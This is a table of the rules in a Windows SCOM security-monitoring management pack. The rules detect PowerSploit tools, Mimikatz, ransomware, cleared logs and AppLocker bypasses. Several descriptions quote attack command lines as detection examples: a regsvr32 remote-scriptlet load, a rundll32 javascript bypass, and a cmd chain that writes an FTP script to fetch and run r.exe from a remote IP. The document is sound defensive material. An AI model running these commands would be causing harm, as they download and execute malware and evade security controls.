All Rules in Security.Monitoring Management Pack

DisplayName	Description	ID	Target	Category	Enabled	Event_ID	Event Source	Alert Generate	Alert Severity	Alert Priority	Remotable	Event Log
Security Monitoring: Collect SMBv1 Connections	Description for the new rule	Security.Monitoring.Collect.SMBv1Connections	Microsoft.Windows.Server.OperatingSystem	None	True	0		False			True
Security Monitoring: Collect LAPS Events	Description for the new event collection rule.	Security.Monitoring.CollectionRule.CollectLAPSEvents	Microsoft.Windows.Server.OperatingSystem	EventCollection	True	0		False			True
Security Monitoring: Collect Legacy TLS Events	This collection rule will collect events created from TLS 1.0 or TLS 1.1. Run the associated report to see where this is happening in your environment.	Security.Monitoring.CollectLegacyTLSEvents	Microsoft.Windows.Server.OperatingSystem	EventCollection	True	0		False			True
Security Monitoring: Possible Crypto-Ransomware Installed on Computer	This rule looks for common process creation events seen when certain types of malware are installed on a server. While it likely won't be useful for something that immediately acts, it could potentially detect versions configured to activate at a later time.	Security.Monitoring.Event.4688.GenericCryptoRansomWare	Microsoft.Windows.Server.OperatingSystem	Alert	True	4688		True	Error	Normal	True	Security
Security Monitoring: PowerShell script run natively to bypass existing execution policy	This may be a normal event, depending on how an IT environment handles scripting. That said, this generates an alert if PowerShell is run to bypass current execution policy. See https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ and https://nathangau.wordpress.com/2018/09/07/security-monitoring-additional-powershell-detections/ for details.	Security.Monitoring.Event.ByPassExecutionPolicy	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True
Security Monitoring: PowerShell used to Invoke an Encoded Command	One way to get around PowerShell parsing issues is to encode a command to a Base64 string. An attacker can also use this to obscure what they are really doing. This may be normal, and it may be malicious. See https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ and https://nathangau.wordpress.com/2018/09/07/security-monitoring-additional-powershell-detections/ for details.	Security.Monitoring.Event.InvokeEncodedCommand	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True
Security Monitoring: PowerShell used to Invoke a Remote Expression	This may be a normal event, depending on how an IT environment handles scripting. That said, this generates an alert if PowerShell is run to execute something it is downloading from a web connection. See https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ and https://nathangau.wordpress.com/2018/09/07/security-monitoring-additional-powershell-detections/ for details.	Security.Monitoring.Event.InvokeRemoteExpression	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True
Security Monitoring: An attempt was made to kill Windows Defender	This rule looks for 4688 events where a command was initiated to stop MsMpEng.exe, which is a windows defender core process. Audit process creation must be turned on. As well, the option to include command line in process creation events must also be on.	Security.Monitoring.Event.KillWindowsDefender	Microsoft.Windows.Server.OperatingSystem	Alert	True	4688		True	Error	Normal	True	Security
Security Monitoring: PowerShell Running Only in Memory	There are valid reasons to run PowerShell in memory only. Attackers do this too as this can get around a lot of Antivirus checks and bypass execution policies. See https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ and https://blogs.technet.microsoft.com/nathangau/2018/09/07/security-monitoring-additional-powershell-detections/ for details.	Security.Monitoring.Event.PowerShellRuninMemoryOnly	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True
Security Monitoring: RegSvr32 used to load a DLL that is not located on this machine	A little known RegSvr32 attack vector is the ability to load malicious DLL files for a location that the attacker controls. This can be over the internet or on an internal compromised host as RegSvr32 can take a URL with the correct sequence. This method of attack can bypass antivirus. A mitigation is in place using EMET, but if this tool is not in the environment, there is no way to detect it. Several known attack attack tools use this method. See https://attack.mitre.org/wiki/Technique/T1117#Examples for details.	Security.Monitoring.Event.RemoteRegSvr32	Microsoft.Windows.Server.OperatingSystem	Alert	True	4688		True	Error	Normal	True	Security
Security Monitoring: SeDebugPrivilege Escalation Detected	This alert is generated when a process other than WMI assigns itself debug privileges.	Security.Monitoring.Event.SeDebugPrivilegeEscalation	Microsoft.Windows.OperatingSystem	Alert	False	0		True	Error	Normal	True	Security
Security Monitoring: Possible WMI Persistence Event Detected	See this article for details. https://nathangau.wordpress.com/2019/03/06/using-scom-to-detect-wmi-persistence-attempts/	Security.Monitoring.Event.WMIPersistence	Microsoft.Windows.Server.OperatingSystem	Alert	True	5861		True	Error	Normal	True	Microsoft-Windows-WMI-Activity/Operational
Security Monitoring: Possible WMI Remote Attempt Made To this System	See this article for details. https://nathangau.wordpress.com/2019/03/15/security-monitoring-using-scom-to-detect-remote-wmi-attempts/	Security.Monitoring.Event.WMIRemote.Destination	Microsoft.Windows.Server.OperatingSystem	Alert	True	4688		True	Error	Normal	True	Security
Security Monitoring: Possible WMI Remote Attempt Made From this System	See this article for details. https://nathangau.wordpress.com/2019/03/15/security-monitoring-using-scom-to-detect-remote-wmi-attempts/	Security.Monitoring.Event.WMIRemote.Source	Microsoft.Windows.Server.OperatingSystem	Alert	True	4648		True	Error	Normal	True	Security
Security Monitoring: Collect LANMAN Authentication	Collection rule to collect all authentication events using LanManager to authenticate. This is an old protocol that has known vulnerabilities and should be shut off.	Security.Monitoring.EventCollection.LanMan	Microsoft.Windows.Server.OperatingSystem	EventCollection	True	0		False			True
Security Monitoring: Collect NTLMV1 Events	Collection rule to collect all authentication events using NTLMv1 to authenticate. This is an old protocol that has known vulnerabilities and should be shut off.	Security.Monitoring.EventCollection.NTLMV1	Microsoft.Windows.Server.OperatingSystem	EventCollection	True	0		False			True
Security Monitoring: Collect WDigest Authentication Events	If the proper audit policies are turned on, this rule will collect WDigest logons. See https://blogs.technet.microsoft.com/kfalde/2014/11/02/kb2871997-and-wdigest-part-2/ for details	Security.Monitoring.EventCollection.WdigestAuthentication	Microsoft.Windows.Server.DC.Computer	EventCollection	True	0		False			True
Security Monitoring: Executable Run from User Writeable Windows Directory	This rule looks for process creation from executables being run from key windows directories where processes should not be run.	Security.Monitoring.ExecutableRunFromUserWriteableDirectory	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True
Security Monitoring: Executable Run from User Writeable Windows Directory Extended	This rule will generate alerts when an executable is run in an OS Writeable Location. This rule will only run if the extended discovery is turned on.	Security.Monitoring.ExecutableRuninWriteableDirectoriesExtended	Security.Monitoring.WriteableLocations	Alert	True	0		True	Error	Normal	True
Security Monitoring Forwarded Events: Possible Crypto-Ransomware Installed on Computer	This rule looks for common process creation events seen when certain types of malware are installed on a server. While it likely won't be useful for something that immediately acts, it could potentially detect versions configured to activate at a later time.	Security.Monitoring.ForwardedEvents.4688.GenericCryptoRansomWare	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: PowerShell script run natively to bypass existing execution policy	This may be a normal event, depending on how an IT environment handles scripting. That said, this generates an alert if PowerShell is run to bypass current execution policy. See https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ and https://nathangau.wordpress.com/2018/09/07/security-monitoring-additional-powershell-detections/ for details.	Security.Monitoring.ForwardedEvents.ByPassExecutionPolicy	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Collect LAPS Events	Description for the new event collection rule.	Security.Monitoring.ForwardedEvents.CollectLAPSEvents	WindowsEventCollectorDiscovery.EventLogCollectorServer	EventCollection	True	0		False			True
Security Monitoring Forwarded Events: SeDebug Privilege Escalation Detected	This alert is generated when a process other than WMI assigns itself debug privileges.	Security.Monitoring.ForwardedEvents.DebugEscalation	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	0		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Executable Run from User Writeable Windows Directory	This rule looks for process creation from executables being run from key windows directories where processes should not be run.	Security.Monitoring.ForwardedEvents.ExecutableRunFromUserWriteableDirectory	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Secuity Monitoring Forwarded Events: PowerSploit FindAV Signature Tool is in Use	Find-AVSignature is used to split a file into smaller chunks to detect which piece is being identified by AV. That part can be redesigned to avoid detection.	Security.Monitoring.ForwardedEvents.FindAVSignature	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	800		True	Error	Normal	True	ForwardedEvents
Security Monitoring ForwardedEvents: Powersploit Get DLL Load Path is in Use	Get-DLLLoad Path is used to find the name and location of a DLL that an application is using. The DLL can then be replaced with a malicious copy.	Security.Monitoring.ForwardedEvents.GetDLLLoadPath	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	800		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: PowerSploit HTTP Path Discovery Tool is in Use	This tool is used to dictionary a web server to determine the status of a path.	Security.Monitoring.ForwardedEvents.GetHTTPStatus	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	800		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: PowerSploit Key Stroke Logger in Use	This is a PowerSploit tool that can be used to log key strokes.	Security.Monitoring.ForwardedEvents.GetKeystroke	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	800		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: PowerSploit Invoke DLL Injection Command in Use	A Powersploit tool used to inject code into DLL files is in use in the environment.	Security.Monitoring.ForwardedEvents.InvokeDLLInjection	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	800		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: PowerShell used to Invoke an Encoded Command	One way to get around PowerShell parsing issues is to encode a command to a Base64 string. An attacker can also use this to obscure what they are really doing. This may be normal, and it may be malicious. See https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ and https://nathangau.wordpress.com/2018/09/07/security-monitoring-additional-powershell-detections/ for details.	Security.Monitoring.ForwardedEvents.InvokeEncodedCommand	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Invoke-Mimikatz Detected in Tier 0 Environment	Description for the new alert rule.	Security.Monitoring.ForwardedEvents.InvokeMimikatz	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	800		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Invoke Ninja Copy is in Use	This tool allows an attacker to make an offline copy of protected OS Secrets (i.e. the SAM) while they are in use.	Security.Monitoring.ForwardedEvents.InvokeNinjaCopy	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	800		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Invoke Portscan is in Use	This looks for the Powersploit tool Invoke-Portscan, which is used to can IP addresses for open ports.	Security.Monitoring.ForwardedEvents.InvokePortScan	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	800		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: PowerShell used to Invoke a Remote Expression	This may be a normal event, depending on how an IT environment handles scripting. That said, this generates an alert if PowerShell is run to execute something it is downloading from a web connection. See https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ and https://nathangau.wordpress.com/2018/09/07/security-monitoring-additional-powershell-detections/ for details.	Security.Monitoring.ForwardedEvents.InvokeRemoteExpression	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring: Invoke ShellCode is in Use	Description for the new alert rule.	Security.Monitoring.ForwardedEvents.InvokeShellCodeInUse	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	800		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: An attempt was made to kill Windows Defender	This rule looks for 4688 events where a command was initiated to stop MsMpEng.exe, which is a windows defender core process. Audit process creation must be turned on. As well, the option to include command line in process creation events must also be on.	Security.Monitoring.ForwardedEvents.KillWindowsDefender	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: PowerShell Running Only in Memory	There are valid reasons to run PowerShell in memory only. Attackers do this too as this can get around a lot of Antivirus checks and bypass execution policies. See https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ and https://nathangau.wordpress.com/2018/09/07/security-monitoring-additional-powershell-detections/ for details.	Security.Monitoring.ForwardedEvents.PowerShellRuninMemoryOnly	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: Hidden Process Starting Using PowerShell	Description for the new alert rule.	Security.Monitoring.ForwardedEvents.PowerShellStartHiddenProcess	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	800		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: RegSvr32 used to load a DLL that is not located on this machine	A little known RegSvr32 attack vector is the ability to load malicious DLL files for a location that the attacker controls. This can be over the internet or on an internal compromised host as RegSvr32 can take a URL with the correct sequence. This method of attack can bypass antivirus. A mitigation is in place using EMET, but if this tool is not in the environment, there is no way to detect it. Several known attack attack tools use this method. See https://attack.mitre.org/wiki/Technique/T1117#Examples for details.	Security.Monitoring.ForwardedEvents.RemoteRegSvr32	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Secuity Monitoring: PowerSploit FindAV Signature Tool is in Use	Find-AVSignature is used to split a file into smaller chunks to detect which piece is being identified by AV. That part can be redesigned to avoid detection.	Security.Monitoring.PowerShellLog.FindAVSignature	Microsoft.Windows.Server.OperatingSystem	Alert	True	800		True	Error	Normal	True	Windows PowerShell
Security Monitoring: Powersploit Get DLL Load Path is in Use	Get-DLLLoad Path is used to find the name and location of a DLL that an application is using. The DLL can then be replaced with a malicious copy.	Security.Monitoring.PowerShellLog.GetDLLLoadPath	Microsoft.Windows.Server.OperatingSystem	Alert	True	800		True	Error	Normal	True	Windows PowerShell
Security Monitoring: PowerSploit HTTP Path Discovery Tool is in Use	This tool is used to dictionary a web server to determine the status of a path.	Security.Monitoring.PowerShellLog.GetHTTPStatus	Microsoft.Windows.Server.OperatingSystem	Alert	True	800		True	Error	Normal	True	Windows PowerShell
Security Monitoring: PowerSploit Key Stroke Logger in Use	This is a PowerSploit tool that can be used to log key strokes.	Security.Monitoring.PowerShellLog.GetKeystroke	Microsoft.Windows.Server.OperatingSystem	Alert	True	800		True	Error	Normal	True	Windows PowerShell
Security Monitoring: PowerSploit Invoke DLL Injection Command in Use	A Powersploit tool used to inject code into DLL files is in use in the environment.	Security.Monitoring.PowerShellLog.InvokeDLLInjection	Microsoft.Windows.Server.OperatingSystem	Alert	True	800		True	Error	Normal	True	Windows PowerShell
Security Monitoring: Invoke-Mimikatz is in Use.	Description for the new alert rule.	Security.Monitoring.PowerShellLog.InvokeMimikatzInUse	Microsoft.Windows.Server.OperatingSystem	Alert	True	800		True	Error	Normal	True	Windows PowerShell
Security Monitoring: Invoke Ninja Copy is in Use	This tool allows an attacker to make an offline copy of protected OS Secrets (i.e. the SAM) while they are in use.	Security.Monitoring.PowerShellLog.InvokeNinjaCopy	Microsoft.Windows.Server.OperatingSystem	Alert	True	800		True	Error	Normal	True	Windows PowerShell
Security Monitoring: Invoke Portscan is in Use	This looks for the Powersploit tool Invoke-Portscan, which is used to can IP addresses for open ports.	Security.Monitoring.PowerShellLog.InvokePortScan	Microsoft.Windows.Server.OperatingSystem	Alert	True	800		True	Error	Normal	True	Windows PowerShell
Security Monitoring: Invoke ShellCode in Use	Description for the new alert rule.	Security.Monitoring.PowerShellLog.InvokeShellCodeInUse	Microsoft.Windows.Server.OperatingSystem	Alert	True	800		True	Error	Normal	True	Windows PowerShell
Security Monitoring: Hidden Process Starting Using PowerShell	Description for the new alert rule.	Security.Monitoring.PowerShellLog.PowerShellStartHiddenProcess	Microsoft.Windows.Server.OperatingSystem	Alert	True	800		True	Error	Normal	True	Windows PowerShell
Security Monitoring: Security Event Log was Cleared.	This rule monitors the security log for a log clearing event.	Security.Monitoring.SecurityLogClearedv2	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True
Security Monitoring: Modification has been made to the DC OU		Security.Monitoring.SecurityMonitoring.Event.DCOUModify	Microsoft.Windows.Server.DC.Computer	Alert	True	0		True	Error	Normal	True	Security
Security Monitoring: A GPO was Created	A new GPO has been created	Security.Monitoring.SecurityMonitoring.Event.GPOCreation	Microsoft.Windows.Server.DC.Computer	Alert	True	0		True	Error	Normal	True
Security Monitoring: A GPO was Deleted	This rule detects the deletion of a GPO	Security.Monitoring.SecurityMonitoring.Event.GPODeletionRule	Microsoft.Windows.Server.DC.Computer	Alert	True	0		True	Error	Normal	True
Security Monitoring: A Scheduled Task Was Created On Server	A scheduled task was created on this server.	Security.Monitoring.SecurityMonitoring.Event.ScheduledTaskCreatedOnServer	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True
Security Monitoring: A service was Created on a Domain Controller	This rule tracks the creation of a service on a domain controller. There are overridable properties for up to 5 applications so as to reduce noise.	Security.Monitoring.SecurityMonitoring.Event.ServiceCreatedonDC	Microsoft.Windows.Server.DC.Computer	Alert	True	0		True	Error	Normal	True
New Alert Rule	This generates alerts off of commands being run from non-traditional user locations.	Security.Monitoring.SuspiciousUserContext	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True
Security Monitoring: System Event Log was Cleared.	This rule monitors the system log for a log clearing event.	Security.Monitoring.SystemLogClearedv2	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True
Security Monitoring: Failed RDP Logon		SecurityMonitoring.Event.FailedLogin	Microsoft.Windows.Server.OperatingSystem	Custom	False	0		True	Warning	Normal	True
Collect Failed Login Attemts	Failed Login Attempts	SecurityMonitoring.Failed.Login.Attempts.Collection	Microsoft.Windows.Computer	EventCollection	True	0		False			True
Security Monitoring: Domain Admins membership has changed		SecurityMonitoringMP.Accounts.DomainAdminChange	Microsoft.Windows.Server.DC.Computer	Alert	True	0		True	Error	Normal	True	Security
Security Monitoring: Enterprise Admins membership has changed		SecurityMonitoringMP.Accounts.EnterpriseAdminChange	Microsoft.Windows.Server.DC.Computer	Alert	True	0		True	Error	Normal	True	Security
Security Monitoring: Local Administrators Group was Modified		SecurityMonitoringMP.Accounts.LocalAdminChange	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True
Security Monitoring: Schema Admins membership has changed		SecurityMonitoringMP.Accounts.SchemaAdminChange	Microsoft.Windows.Server.DC.Computer	Alert	True	0		True	Error	Normal	True	Security
Security Monitoring: Mimikatz in use	Mimikatz is a credential theft tool used for pass the hash attacks. This should not be present in your environment.	SecurityMonitoringMP.APPLocker.Mimikatz	Microsoft.Windows.Computer	Alert	False	0		True	Error	Normal	True	Microsoft-Windows-AppLocker/EXE and DLL
Security Monitoring: Prohibited App in Use		SecurityMonitoringMP.APPLocker.ProhibitedApp	Microsoft.Windows.Computer	Alert	True	0		True	Error	Normal	True	Microsoft-Windows-AppLocker/EXE and DLL
Security Monitoring: PSEXEC in Use		SecurityMonitoringMP.APPLocker.PSExec	Microsoft.Windows.Computer	Alert	False	8003		True	Error	Normal	True	Microsoft-Windows-AppLocker/EXE and DLL
Security Monitoring: WCE in Use	WCE is a credential theft too used to perform pass the hash attacks and enumerate wdigest passwords if this is turned on in your environment. Other than penetration testing, there is little reason for this tool to exist in your environment. This should be investigated immediately.	SecurityMonitoringMP.APPLocker.WCE	Microsoft.Windows.Computer	Alert	False	8003		True	Error	Normal	True	Microsoft-Windows-AppLocker/EXE and DLL
Security Monitoring: WinRar in use		SecurityMonitoringMP.APPLocker.WinRar	Microsoft.Windows.Server.OperatingSystem	Alert	False	8003		True	Error	Normal	True	Microsoft-Windows-AppLocker/EXE and DLL
Security Monitoring: A suspicious process creation (AppLocker bypass) was executed	To bypass restrictive Applocker policies, attackers will implement a specially crafted commandline which makes use of Windows native exe "Rundll32.exe" (required by Windows to load and run code in DLLs and therefore not blocked by Applocker). Rundll32.exe can be used to call javascript to execute arbitrary commands which are not blocked by restrictive Applocker policies. The rundll32.exe syntax is as follows: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";<code> Events of this nature need to be investigated	SecurityMonitoringMP.Event.4688.SuspiciousApplockerJava	Microsoft.Windows.Server.OperatingSystem	Alert	True	4688		True	Error	Normal	True	Security
Security Monitoring: A suspicious process creation (AppLocker bypass using regsvr32) was execuited	AppLocker Bypass Techniques using Regsvr32.exe (greg) Note: The following is already contained in SCUBA_RULE_Applocker_Bypass Examples: regsvr32 /s /n /u /i:file.sct scrobj.dll regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll regsvr32 /s /n /u /i:http://server/file.jpg scrobj.dll	SecurityMonitoringMP.Event.4688.SuspiciousApplockerRegsvr	Microsoft.Windows.Server.OperatingSystem	Alert	True	4688		True	Error	Normal	True	Security
Security Monitoring: A suspicious process creation (cmd) was executed	These events should be investigated. We are tracking 4688 events with known strings often found in malicious scripts. While it is possible that there are normal conditions for this rule, any alert should be investigated immediately.	SecurityMonitoringMP.Event.4688.SuspiciousCMD	Microsoft.Windows.Server.OperatingSystem	Alert	True	4688		True	Error	Normal	True	Security
Security Monitoring: A suspicious process creation (FTP script execution via echo command) was executed	Detection of FTP Scripts created via the Echo command: Based on several cases where compromised SQLService was used and SQL Agent Jobs were created to invoke ‘xp_cmdshell’ which in turn created and launched FTP scripts to download and run malware… Example of the commandline used to create and run ftp scripts: "Command Line ": "\"\"\"C:\\Windows\\System32\\cmd.exe\"\" /c \"\"net1 stop sharedaccess&echo open 222.186.58.12 >> love.txt&echo 123>> love.txt&echo 123>> love.txt&echo binary >> love.txt&echo get r.exe >> love.txt&echo bye >> love.txt&ftp -s:love.txt&p -s:love.txt&r.exe&r.exe&del love.txt /q /f&exit\"\"\" This type of event is rare and should be investigated	SecurityMonitoringMP.Event.4688.SuspiciousFTPCommand	Microsoft.Windows.Server.OperatingSystem	Alert	True	4688		True	Error	Normal	True	Security
Security Monitoring: A suspicious process creation (registry) was executed	This rule inventories 4688 events and flags alerts for manually added registry keys. These are rare events and should be investigated when they appear.	SecurityMonitoringMP.Event.4688.SuspiciousReg	Microsoft.Windows.Server.OperatingSystem	Alert	True	4688		True	Error	Normal	True	Security
Security Monitoring; A suspicious process creation (malicious use of WindowPosition with PowerShell) was executed	See: https://technet.microsoft.com/en-us/library/cc957410.aspx The WindowPosition value specifies the position of the command window on the user's screen. The value of this entry is an 8-byte hexadecimal value. The first four bytes (high word) represent the position of the window on the X (horizontal) axis. The last four bytes (low word) represent the position of the window on the Y (vertical) axis. When the WindowPosition value is set to 201329664, (Hex: 0x0c00 0c00) this places the console in a non-visible section of the user’s screen (where X axis=0c00 and the Y axis=0c00) in an area that is hidden from view below the visible start menu/taskbar Other console apps that can be modified to make the screen non-visible	SecurityMonitoringMP.Event.4688.SuspiciousWindowsPosition	Microsoft.Windows.Server.OperatingSystem	Alert	True	4688		True	Error	Normal	True	Security
Security Monitoring: Possible Golden Ticket in Use		SecurityMonitoringMP.Event.GoldenTicketDetection	Microsoft.Windows.Server.DC.Computer	Alert	True	4769		True	Error	Normal	True	Security
Security Monitoring: Local account created on a member server	In a normal environment, this will only happen when the system is setup. You should not see this event on production member servers at all	SecurityMonitoringMP.Event.LocalAccountCreatedonServer	Microsoft.Windows.Server.OperatingSystem	Alert	True	0		True	Error	Normal	True	Security
Security Monitoring: Security Log was cleared	Clearing the security log is something an attacker will do to cover their tracks. By default, logs cycle. If the log has been cleared, this should be investigated.	SecurityMonitoringMP.Event.SecurityLogCleared	Microsoft.Windows.Server.OperatingSystem	Alert	False	1102	Microsoft-Windows-Eventlog	True	Error	Normal	True	Security
Security Monitoring: A service was created on a member server	I would consider enabling this rule for any production server that is in a steady state. No services should be created at this point, and any event where one is created would be worthy of investigation.	SecurityMonitoringMP.Event.ServiceCreatedonMemberServer	Microsoft.Windows.Server.OperatingSystem	Alert	False	0		True	Error	Normal	True	System
Security Monitoring: Service associated with a known threat was created on a member server	This is a special case of event ID 7045 targeting the names of services that are created by known tools such as windows credential editor, psexec, etc. If you turned on the generic 7045 rule, this alert should be disabled as it will generate duplicate events.	SecurityMonitoringMP.Event.ServiceKnownThreat	Microsoft.Windows.Server.OperatingSystem	Alert	True	7045		True	Error	Normal	True	System
Security Monitoring: A Smart Card has been Disabled to Allow for Interactive Logon	Someone has purposely desected the option to disable smart card authentication for the account. Verify that this has in fact been approved.	SecurityMonitoringMP.Event.SmartCardDisabled	Microsoft.Windows.Server.DC.Computer	Alert	True	4738		True	Error	Normal	True	Security
Security Monitoring: Software was Installed on a Server	This rule look sfor 11707 events in the application log and alerts accordingly. Note that patches will likely be flagged with this rule, so it should be turned on if there is a good maintenance process in place	SecurityMonitoringMP.Event.SoftwareInstallOnServer	Microsoft.Windows.Server.OperatingSystem	Alert	False	11707	MsiInstaller	True	Warning	Normal	True	Application
Security Monitoring: Software was Removed from a Server	This may not be a security event and is disabled by default. This could be enabled and edited to target security software in customer environments.	SecurityMonitoringMP.Event.SoftwareRemovedFromServer	Microsoft.Windows.Server.OperatingSystem	Alert	False	11724	MsiInstaller	True	Warning	Normal	True	Application
Security Monitoring: The system Log was cleared		SecurityMonitoringMP.Event.SystemLogCleared	Microsoft.Windows.Server.OperatingSystem	Alert	False	104	Microsoft-Windows-Eventlog	True	Error	Normal	True	System
Security Monitoring: A system has been powered off	This is not necessarily a security event, and as such it can generate noise and is off by default.	SecurityMonitoringMP.Event.SystemPoweredOff	Microsoft.Windows.Server.OperatingSystem	Alert	False	1074	User32	True	Warning	Normal	True	System
Security Monitoring: A system was restarted	This is not necessarily a security event, and as such this is disabled by default, but it can be useful in tracking security events or bad business practice.	SecurityMonitoringMP.Event.SystemRestarted	Microsoft.Windows.Server.OperatingSystem	Alert	False	1074	User32	True	Warning	Normal	True	System
Security Monitoring: Unexpected System Shutdown	This checks the system log for unexpected shutdown events and generates an alert. While not necessarily related to an attack, these events are potentially worth investigating for health reasons in the environment.	SecurityMonitoringMP.Event.UnexpectedShutdown	Microsoft.Windows.Server.OperatingSystem	Alert	False	0		True	Warning	Normal	True	System
Security Monitoring Collection: Event ID 4672		SecurityMonitoringMP.EventCollection.4672	Microsoft.Windows.Server.OperatingSystem	EventCollection	False	0		False			True
Security Monitoring Collection: Event ID 4624 Logon Type 4		SecurityMonitoringMP.EventCollection.BatchLogon	Microsoft.Windows.Server.OperatingSystem	EventCollection	True	0		False			True
Security Monitoring Event Collection: Event ID 4769 result 0x1F		SecurityMonitoringMP.EventCollection.GoldenTicket	Microsoft.Windows.Server.DC.Computer	EventCollection	True	0		False			True
Security Monitoring Collection: Event ID 4694		SecurityMonitoringMP.EventCollection.SpecialGroupLogon	Microsoft.Windows.Server.OperatingSystem	EventCollection	True	0		False			True
Security Monitoring Forwarded Events: A suspicious process creation (AppLocker bypass) was executed	To bypass restrictive Applocker policies, attackers will implement a specially crafted commandline which makes use of Windows native exe "Rundll32.exe" (required by Windows to load and run code in DLLs and therefore not blocked by Applocker). Rundll32.exe can be used to call javascript to execute arbitrary commands which are not blocked by restrictive Applocker policies. The rundll32.exe syntax is as follows: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";<code> Events of this nature need to be investigated	SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousApplockerJava	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: A suspicious process creation (AppLocker bypass using regsvr32) was execuited	AppLocker Bypass Techniques using Regsvr32.exe (greg) Note: The following is already contained in SCUBA_RULE_Applocker_Bypass Examples: regsvr32 /s /n /u /i:file.sct scrobj.dll regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll regsvr32 /s /n /u /i:http://server/file.jpg scrobj.dll	SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousApplockerRegsvr	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: A suspicious process creation (cmd) was executed	These events should be investigated. We are tracking 4688 events with known strings often found in malicious scripts. While it is possible that there are normal conditions for this rule, any alert should be investigated immediately.	SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousCMD	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: A suspicious process creation (FTP script execution via echo command) was executed	Detection of FTP Scripts created via the Echo command: Based on several cases where compromised SQLService was used and SQL Agent Jobs were created to invoke ‘xp_cmdshell’ which in turn created and launched FTP scripts to download and run malware… Example of the commandline used to create and run ftp scripts: "Command Line ": "\"\"\"C:\\Windows\\System32\\cmd.exe\"\" /c \"\"net1 stop sharedaccess&echo open 222.186.58.12 >> love.txt&echo 123>> love.txt&echo 123>> love.txt&echo binary >> love.txt&echo get r.exe >> love.txt&echo bye >> love.txt&ftp -s:love.txt&p -s:love.txt&r.exe&r.exe&del love.txt /q /f&exit\"\"\" This type of event is rare and should be investigated	SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousFTPCommand	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
Security Monitoring Forwarded Events: A suspicious process creation (registry) was executed	This rule inventories 4688 events and flags alerts for manually added registry keys. These are rare events and should be investigated when they appear.	SecurityMonitoringMP.ForwardedEvents.4688.SuspiciousReg	WindowsEventCollectorDiscovery.EventLogCollectorServer	Alert	True	4688		True	Error	Normal	True	ForwardedEvents
